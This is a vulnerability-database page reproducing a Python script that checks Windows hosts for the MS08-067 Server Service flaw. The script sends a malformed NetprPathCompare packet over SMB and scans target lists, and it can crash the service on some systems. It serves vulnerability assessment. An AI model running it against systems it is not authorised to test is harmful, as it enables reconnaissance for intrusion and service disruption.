Lucene search
K

Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability

🗓️ 01 Nov 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

Check if target is affected by Microsoft Server Service Remote Path Canonicalization vulnerability.

Code

                                                #!/usr/bin/env python

'''
Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability

Description:
Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)

Author: Bernardo Damele A. G. <[email protected]>

License: Modified Apache 1.1

Version: 0.4

References:
* BID: 31874
* CVE: 2008-4250
* MSB: MS08-067
* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
* MISC: http://blogs.securiteam.com/index.php/archives/1150

Tested:
* Windows 2000 Server Service Pack 0
* Windows 2000 Server Service Pack 4 with Update Rollup 1
* Microsoft 2003 Standard Service Pack 1
* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released

Notes:
* This check might crash the SRVSVC process on Microsoft XP Service Pack 2 and 3
'''


import select
import socket
import struct
import sys
import traceback

from optparse import OptionError
from optparse import OptionParser
from threading import Thread

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc import transport
except ImportError, _:
    print 'ERROR: this tool requires python-impacket library to be installed, get it '
    print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
    sys.exit(1)


CMDLINE = False
SILENT  = False


class connectionException(Exception):
    pass


class MS08_067(Thread):
    def __init__(self, target, port=445):
        super(MS08_067, self).__init__()

        self.__port   = port
        self.target   = target
        self.status   = 'unknown'


    def __checkPort(self):
        '''
        Open connection to TCP port to check if it is open
        '''

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((self.target, self.__port))
            s.close()

        except socket.timeout, _:
            raise connectionException, 'connection timeout'

        except socket.error, _:
            raise connectionException, 'connection refused'


    def __connect(self):
        '''
        SMB connect to the Computer Browser service named pipe
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html
        '''

        try:
            self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
            self.__trans.connect()

        except smb.SessionError, _:
            raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __bind(self):
        '''
        DCERPC bind to SRVSVC (Server Service) interface
        Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
        '''

        try:
            self.__dce = self.__trans.DCERPC_class(self.__trans)

            self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        except socket.error, _:
            raise connectionException, 'unable to bind to SRVSVC interface'

        except:
            #raise Exception, 'unhandled exception (%s)' % traceback.format_exc()
            raise connectionException, 'unexpected exception'


    def __forgePacket(self):
        '''
        Forge the malicious NetprPathCompare packet
        '''

        self.__request  = struct.pack('<HHHI', 0, 2, 1, 0)       # Point to Server Unc 
        self.__request += struct.pack('<HII', 0, 1, 0)           #
        self.__request += struct.pack('<I', 46)                  # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 46)                  # Actual Count
        self.__request += struct.pack('2s78s', '\\', 'A\x00'*39) # Path1
        self.__request += struct.pack('2sHH', '\\', 46, 46)      #
        self.__request += struct.pack('2s4s', '\\', 'n')         #
        self.__request += struct.pack('<I', 3)                   # Max Count
        self.__request += struct.pack('<I', 0)                   # Offset
        self.__request += struct.pack('<I', 3)                   # Actual Count
        self.__request += struct.pack('2s4s', '\\', 'n')         # Path2
        self.__request += struct.pack('<HI', 0, 1)               # Path Type
        self.__request += struct.pack('<I', 0)                   # Path Flags


    def __compare(self):
        '''
        Compare NetprPathCompare response field 'Windows Error' with the
        expected value (WERR_OK) to confirm the target is vulnerable
        '''

        self.__vulnerable = struct.pack('L', 0)

        # The target is vulnerable if the NetprPathCompare response field
        # 'Windows Error' is WERR_OK (0x00000000)
        if self.__response == self.__vulnerable:
            self.status = 'VULNERABLE'
        else:
            self.status = 'not vulnerable'

        self.result()


    def result(self):
        if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'):
           print '%s: %s' % (self.target, self.status)
        elif CMDLINE == True and SILENT != True:
           print '%s: %s' % (self.target, self.status)


    def run(self):
        try:
            self.__checkPort()
            self.__connect()
            self.__bind()
        except connectionException, e:
            self.status = e
            self.result()
            return None

        # Forge and send the NetprPathCompare operation malicious packet
        self.__forgePacket()
        self.__dce.call(0x20, self.__request)

        # Get back the NetprPathCompare response and check if it is vulnerable
        self.__response = self.__dce.recv()
        self.__compare()


if __name__ == '__main__':
    CMDLINE = True

    usage = '%s [-d] {-t <target>|-l <iplist.txt>}' % sys.argv[0]
    parser  = OptionParser(usage=usage, version='0.4')
    targets = set()

    # Create command line options
    try:
        parser.add_option('-d', dest='descr', action='store_true', help='show description and exit')

        parser.add_option('-t', dest='target', help='target IP or hostname')

        parser.add_option('-l', dest='list', help='text file with list of targets')

        parser.add_option('-s', dest='silent', action='store_true', help='be silent')

        (args, _) = parser.parse_args()

        if not args.descr and not args.target and not args.list:
            print usage
            sys.exit(1)

    except (OptionError, TypeError), e:
        parser.error(e)

    descr  = args.descr
    target = args.target
    tList  = args.list

    SILENT = args.silent

    if descr:
        print __doc__
        sys.exit(0)

    if tList:
        try:
            fd = open(tList, 'r')
        except IOError:
            print 'ERROR: unable to read targets list file \'%s\'' % tList
            sys.exit(1)

        for line in fd.readlines():
            target = line.replace('\n', '').replace('\r', '')
            targets.add(target)
    else:
        targets.add(target)

    if not targets:
        print 'ERROR: no targets specified'
        sys.exit(1)

    targets = list(targets)
    targets.sort()

    for target in targets:
        current = MS08_067(target)
        current.start()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation